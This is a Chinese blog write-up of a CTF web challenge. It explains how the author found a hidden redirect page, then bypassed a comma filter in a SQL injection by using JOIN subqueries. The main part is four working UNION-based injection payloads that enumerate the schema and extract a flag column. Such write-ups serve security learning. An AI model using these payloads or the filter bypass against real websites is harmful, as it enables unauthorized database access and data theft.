zoukankan      html  css  js  c++  java
  • CTF web之旅 9

    ------------恢复内容开始------------

    题目名称:i春秋sqli

    访问题目地址 f12得到以下这个页面

    http://cb85ab94aeb24909987d3dea872d8e0974c47dc1c73a4c8b.changame.ichunqiu.com/login.php?id=1

    成功进入 掏出sqlmap 扫

    没扫出注入点啊

    抓一下这个包  发送到repeater

    注意一下follow redirection 默认不跟随重定向,如果跟随重定向,点击follow redirection就会跳转到重定向的页面中去

    发现了l0gin.php?id=1  出题人想瞒天过海

    进入到了一个新页面

     发现过滤了逗号之后的内容

    逗号绕过:

    使用join:

    union select 1,2     #等价于
    union select * from (select 1)a join (select 2)b

    具体见 https://www.cnblogs.com/Vinson404/p/7253255.html

    用url编码%23或者-- -绕过#

    ?id=0' union select * from (select database())a join (select 2)b  -- -


    ?id=0' union select * from (select group_concat(TABLE_NAME) from information_schema.tables where table_schema='sqli')a join (select 2)b  -- -



    ?id=0' union select * from (select group_concat(COLUMN_NAME) from information_schema.columns where table_name='users')a join (select 2)b  -- -



    ?id=0' union select * from (select group_concat(flag_9c861b688330) from sqli.users)a join (select 2)b  -- -

  • 相关阅读:
    C++扬帆远航——4(百钱百鸡)
    C++扬帆远航——3(打印图形)
    C++扬帆远航——2
    web开发之Servlet 三
    web开发之Servlet 二
    web开发之Servlet 一
    迟来的2017年计划
    JSP 学习二
    JSP 学习一
    window7 32位安装Oracle11g
  • 原文地址:https://www.cnblogs.com/akger/p/14588510.html
Copyright © 2011-2022 走看看